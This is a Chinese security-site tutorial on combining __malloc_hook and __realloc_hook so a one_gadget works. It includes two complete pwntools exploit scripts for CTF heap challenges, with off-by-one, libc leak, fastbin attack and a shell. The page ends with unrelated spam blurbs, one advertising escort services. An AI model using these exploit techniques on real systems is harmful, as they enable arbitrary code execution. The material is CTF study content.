通过realloc_hook调整栈帧使onegadget生效 - FreeBuf *** 安全行业门户

访客4年前黑客资讯1057
本文首发于合天“合天智汇”公众号 作者:SkYe
在某些堆的题目当中,由于限制只能使用 house of spirit 等 *** 劫持 malloc_hook ,这种情况一般是往 malloc_hook 写入 onegadget ,再次申请堆来 getshell 。
由于栈帧情况不满足,查询到的所有 onegadget 可能都打不通,这时就可以考虑下用 malloc_hook 和 realloc_hook 结合。先通过 realloc 调整栈帧,然后在运行 onegadget 。
了解 realloc
realloc 在库函数中的作用是重新调整 malloc 或 calloc 所分配的堆大小。它和 malloc 函数一样有 hook 函数,当 hook 函数不为空时,就会跳转运行 hook 函数(和 malloc_hook 一样的)。
__int64 __fastcall realloc(signed__int64 a1,unsigned__int64 a2,__int64 a3){…… if(_realloc_hook )return_realloc_hook(a1,a2,retaddr);……
看看 realloc 的汇编代码:(可以把 libc 拖到 ida 中看,也可以泄露地址后 gdb 调试查看 x /20i [addr]
.text:00000000000846C0 realloc proc near ; DATA XREF: LOAD:0000000000006BA0↑o .text:00000000000846C0 ; __unwind { .text:00000000000846C0 push r15 ; Alternative name is '__libc_realloc' .text:00000000000846C2 push r14 .text:00000000000846 push r13 .text:00000000000846C6 push r12 .text:00000000000846C8 mov r13, rsi .text:00000000000846CB push rbp .text:00000000000846CC push rbx .text:00000000000846CD mov rbx, rdi .text:00000000000846D0 sub rsp, 38h .text:00000000000846D4 mov rax, cs:__realloc_hook_ptr .text:00000000000846DB mov rax, [rax] .text:00000000000846DE test rax, rax .text:00000000000846E1 jnz loc_848E8 ; 跳转执行 realloc_hook .text:00000000000846E7 test rsi, rsi .text:00000000000846EA jnz short loc_846F5 .text:00000000000846EC test rdi, rdi .text:00000000000846EF jnz loc_84960
函数一开始有很多的 push ,realloc 函数先执行 push 压栈,然后在跳转执行 realloc_hook 存储的函数。我们就是利用这些 push 调整栈帧。push 的数量发生变化会影响 rsp 的地址,这样就可以控制 rsp 的取值,从而满足 onegadget 的执行条件。除了可以控制 push 数量,还能通过偏移得到其他的 push xxx
malloc_hook 与 realloc_hook 配合
将 malloc_hook 劫持为 realloc ,realloc_hook 劫持为 onegadget ,实际运行顺序:
malloc -> malloc_hook -> realloc -> realloc_hook -> onegadget
这样就能经过 realloc 调整栈帧后再运行 onegadget 。实际情况中,并不是直接劫持 malloc_hook 为 realloc ,而是要加上一定的偏移,也就是调整 push 的数量,让栈帧结构满足 onegadget 运行。
realloc 这个偏移做题还是逐个试感觉快一点,因为设想是少一个 push ,rsp 就会向前移动一个内存单元,对应的 [rsp+0x30]=[rsp+0x38],但实际上有少部分位置可能被其他东西写入改变了原来的值。自行调试体会一下:
# 6个push pwndbg> x /20gx $rsp 0x7fffffffdcb8: 0x00007ffff7a9195f 0x00007fffffffdd20 0x7fffffffdcc8: 0x00005555555548e0 0x00007fffffffde40 0x7fffffffdcd8: 0x0000000000000000 0x0000000000000000 0x7fffffffdce8: 0x00007ffff7a43ea0 0x00007fffffffde40 0x7fffffffdcf8: 0x0000000000000000 0x00007fffffffdd40 0x7fffffffdd08: 0x00005555555548e0 0x00007fffffffde40 0x7fffffffdd18: 0x0000000000000000 0x0000000000000000 0x7fffffffdd28: 0x0000555555554b71 0x00005555555548e0 0x7fffffffdd38: 0x0000001000000006 0x00007fffffffdd60 0x7fffffffdd48: 0x0000555555554f86 0x00007fffffffde40 # 5个push pwndbg> x /20gx $rsp 0x7fffffffdcc0: 0x00007ffff7a9195f 0x00005555555548e0 0x7fffffffdcd0: 0x00007fffffffde40 0x0000000000000000 0x7fffffffdce0: 0x0000000000000000 0x00007ffff7a43ea0 0x7fffffffdcf0: 0x00007fffffffde40 0x0000555555554a23 0x7fffffffdd00: 0x0000000000000000 0x00007fffffffdd40 0x7fffffffdd10: 0x00005555555548e0 0x00007fffffffde40 0x7fffffffdd20: 0x0000000000000000 0x0000555555554b71 0x7fffffffdd30: 0x00005555555548e0 0x0000001000000006 0x7fffffffdd40: 0x00007fffffffdd60 0x0000555555554f86 0x7fffffffdd50: 0x00007fffffffde40 0x0000000100000000
原理上是:少一个 push ,rsp 就会向前移动一个内存单元,对应的 [rsp+0x30]=[rsp+0x38],但实际部分位置的值会变,所以逐个试,速度可能比计算快。
例题
[V&N2020 公开赛]simpleHeap
基本功能
一个基本的堆管理器,有增删查改功能。各项功能都是基于下标序号定位操作,上限为10个堆,大小为大于 0 、小于等于 0x6f 。没有结构体,基于两个列表存储堆信息。
漏洞
在修改函数里,调用函数 sub_C39 完成对堆信息的修改。传入的参数如下:
sub_C39((__int64)chunk_ptr_list[v1],chunk_size_list[v1])
在处理边界问题时,错误使用判断条件,导致溢出 1 字节,正确应该if(i>=size),具体逻辑如下:
__int64 __fastcall sub_C39(__int64 ptr,intsize){__int64 result;// raxinti;// [rsp+1Ch] [rbp-4h]for(i =0;;++i ){result =(unsignedint)i;if(i >size )// off by onebreak;if(!read(0,(void*)(i +ptr),1uLL))// 输出错误的异常处理exit(0);if(*(_BYTE *)(i +ptr)==' '){result =i +ptr;*(_BYTE *)result =0;returnresult;}}returnresult;}
思路
使用 off by one 伪造 chunk size,造成 chunk extend ,再利用 unsorted bin 的特点,泄露出 unsorted bin fd 指针的 libc 地址。
将上一步中的 chunk extend 剩下在 bin 中的内存申请出来,造成两个指针指向同一个地址,配合 edit 功能实现 houst of spirit ,劫持 __malloc_hook 。
实际测试后全部 onegadget 因为栈环境问题都无法打通,需要结合 malloc_hook 、 realloc_hook 调整栈环境才能打通。

溢出修改 chunk size 造成 chunk extend ,chunk0 用于溢出 chunk1 ,chunk2 用于读取 unsorted bin fd 指针,chunk3 防止 fake chunk 与 topchunk 合并。溢出 size 是经过计算符合 house of spirit 要求:
create(0x18,'s')create(0x48,'k')create(0x68,'y')#2create(0x10,'e')payload ='a'*0x18+'\xc1'edit(0,payload)free(1)create(0x48,'yyds')show(2)
泄露 libc 地址后,将 bin 中剩余内存申请出来,该指针与 chunk2 指向相同地址,任选其一释放,再用另外一个修改 fastbin fd 指针:
create(0x68,'skye')#4free(4)payload =p64(malloc_hook-27-8)+' 'edit(2,payload)
正常来说将 malloc_hook 劫持为 onegadget 即可,但是测试发现这条题目的栈环境不满足全部 onegadget 条件,这就需要调整阵结构,使 onegadget 生效。需要配合使用 realloc_hook 和 malloc_hook。
将 malloc_hook 劫持为 realloc ,realloc_hook 劫持为 onegadget 。然后通过多次尝试确定偏移为 12 。
EXP
frompwn import*context(log_level='debug',os='linux',arch='amd64')p =process("https://www.freebuf.com/articles/network/vn_pwn_simpleHeap")# p=remote("node3.buuoj.cn",29864)elf =ELF("https://www.freebuf.com/articles/network/vn_pwn_simpleHeap")libc =ELF("/lib/x86_64-linux-gnu/libc.so.6")# libc=ELF("https://www.freebuf.com/articles/network/libc-2.23.so")defcreate(size,content):p.sendlineafter("choice: ",'1')p.sendlineafter('?',str(size))p.sendafter(':',content)defedit(id,content):p.sendlineafter("choice: ",'2')p.sendlineafter('?',str(id))p.sendafter(':',content)defshow(id):p.sendlineafter("choice: ",'3')p.sendlineafter('?',str(id))deffree(id):p.sendlineafter("choice: ",'4')p.sendlineafter('?',str(id))create(0x18,'s')create(0x48,'k')create(0x68,'y')#2create(0x10,'e')payload ='a'*0x18+'\xc1'edit(0,payload)free(1)create(0x48,'yyds')show(2)leak_addr =u64(p.recv(6).ljust(8,'\x00'))log.info("leak_addr:"+hex(leak_addr))libc_base =leak_addr -0x3c4b78malloc_hook =libc_base +libc.sym['__malloc_hook']log.info("malloc_hook:"+hex(malloc_hook))realloc_hook =libc_base +libc.sym['__realloc_hook']log.info("realloc_hook:"+hex(realloc_hook))realloc =libc_base +libc.sym['realloc']log.info("realloc:"+hex(realloc))create(0x68,'skye')#4free(4)payload =p64(malloc_hook-27-8)+' 'edit(2,payload)create(0x68,'a')create(0x68,'b')#5one =[0x45226,0x4527a,0xf0364,0xf1207]# one=[0x45216,0x4526a,0xf02a4,0xf1147]onegadget =libc_base +one[1]log.info("one:"+hex(onegadget))payload ='a'*11+p64(onegadget)+p64(realloc+12)+' 'edit(5,payload)gdb.attach(p)# create(0x10,'skye,yyds')p.sendlineafter("choice: ",'1')p.sendlineafter('?',str(0x10))p.interactive()
roarctf_2019_easy_pwn
基本功能
一个堆管理器,有增删查改功能。所有功能都是基于列表的下标定位操作对象。用 3 个列表维护堆:chunk_inuse、chunk_size、chunk_ptr。
漏洞
在 edit 功能里面 sub_E26 函数,这个函数用来处理输入长度的,具体代码如下:
__int64 __fastcall check_size(signedintsize,unsignedintinput_length){__int64 result;// raxif(size >(signedint)input_length )returninput_length;if(input_length -size ==10)LODWORD(result)=size +1;//off by oneelseLODWORD(result)=size;return(unsignedint)result;}
当我们要求写入的长度(input_length)大于堆 size 10 个字节时,就可以写入 size + 1 字节,造成 off by one 。
思路
这条题目和 [V&N2020 公开赛]simpleHeap思路一样。
使用 off by one 伪造 chunk size,造成 chunk extend ,再利用 unsorted bin 的特点,泄露出 unsorted bin fd 指针的 libc 地址。
将上一步中的 chunk extend 剩下在 bin 中的内存申请出来,造成两个指针指向同一个地址,配合 edit 功能实现 houst of spirit ,劫持 __malloc_hook 。
实际测试后全部 onegadget 因为栈环境问题都无法打通,需要结合 malloc_hook 、 realloc_hook 调整栈环境才能打通。
EXP
frompwn import*context(log_level='debug',os='linux',arch='amd64')# p=process("https://www.freebuf.com/articles/network/roarctf_2019_easy_pwn")p =remote("node3.buuoj.cn",29259)elf =ELF("https://www.freebuf.com/articles/network/roarctf_2019_easy_pwn")libc =ELF("https://www.freebuf.com/articles/network/libc-2.23.so")# libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")defcreate(size):p.recvuntil("choice: ")p.sendline("1")p.recvuntil(": ")p.sendline(str(size))defedit(index,size,content):p.recvuntil("choice: ")p.sendline("2")p.recvuntil(": ")p.sendline(str(index))p.recvuntil(": ")p.sendline(str(size))p.recvuntil(": ")p.send(content)deffree(index):p.recvuntil(": ")p.sendline("3")p.recvuntil(": ")p.sendline(str(index))defshow(index):p.recvuntil(": ")p.sendline("4")p.recvuntil(": ")p.sendline(str(index))create(0x18)#overwritecreate(0x68)create(0x68)#2create(0x10)#protectpayload ='a'*0x18+'\xe1'edit(0,len(payload)-1+10,payload)free(1)create(0x68)show(2)p.recvuntil("content: ")leak_addr =u64(p.recv(6).ljust(8,'\x00'))log.info("leak_addr:"+hex(leak_addr))libc_base =leak_addr -0x3c4b78malloc_hook =libc_base +libc.sym['__malloc_hook']log.info("malloc_hook:"+hex(malloc_hook))realloc =libc_base +libc.sym['realloc']log.info("realloc:"+hex(realloc))realloc_hook =libc_base +libc.sym['__realloc_hook']log.info("realloc_hook:"+hex(realloc_hook))create(0x68)free(4)payload =p64(malloc_hook-27-8)edit(2,len(payload),payload)create(0x68)create(0x68)# one=[0x45226,0x4527a,0xf0364,0xf1207]one =[0x45216,0x4526a,0xf02a4,0xf1147]onegadget =libc_base +one[1]log.info("onegadget:"+hex(onegadget))payload ='a'*11+p64(onegadget)+p64(realloc)edit(5,len(payload),payload)create(0x10)# gdb.attach(p)p.interactive()

相关文章

一部黑客的电影(一个黑客的电影)

一部黑客的电影(一个黑客的电影)

本文目录一览: 1、有关电脑黑客方面的电影 2、有那些经典的关于黑客的电影 3、求几部关于黑客的电影 4、以“黑客”为主题的电影有哪些? 5、以“黑客”为主题的电影有哪些? 6、关...

如何查询老公近期的开房记录 怎么偷偷查询老公

晨报讯30余家购物、票务网站遭到黑客攻击,大量客户资料被盗,并有犯罪分子冒充网站客服,以安排退款为由实施电信诈骗。上海黄浦公安巡线追踪,远赴海南、湖南、深圳、江苏等地抓获攻击程序制作、网站攻击、数据贩...

运费险是什么意思(淘宝运费险赔付标准)

运费险是什么意思(淘宝运费险赔付标准)

运费险是什么意思(淘宝运费险赔付标准)淘宝是我们经常上的购物网站,作为国内最大的电子商务平台,淘宝上拥有的货品繁多,基本上你日常需要的都可以买到,在淘宝上成功下单之后,你的商品或通过快递的方式送到你手...

态美味烤鱼前景好吗?加盟赚钱吗?

态美味烤鱼前景好吗?加盟赚钱吗?

选择加盟创业,那虽然就要选择一个在市场上成长还不错的加盟项目啦!态鲜味烤鱼前景好吗?加盟赚钱吗?这是许多加盟商提出的疑问,假如你对态鲜味烤鱼加盟项目也感乐趣,想要举办加盟创业的话呢,那你此刻就和我一起...

如何开红酒瓶?(没有开瓶器怎么开红酒?)

  方式 一:   大家找一块纯棉毛巾或是布这类的物品垫在墙面上,随后把瓶底不断的砸向纯棉毛巾,那样瓶盖历经酒和汽体的不断冲击性,便会渐渐地跑出来。   大伙儿看一下,历经两下的碰撞,瓶盖早已出去一小...

东莞长安商务-【褚欣琪】

“东莞长安商务-【褚欣琪】” 高端空姐资料;身高169m,体重50kg,本科学位。长相清纯内心却热情似火。喜欢K歌,平日的兴趣爱好是跳舞和健身。身材性感,身形健康。预约私人高端商务经纪人的最佳时间模特...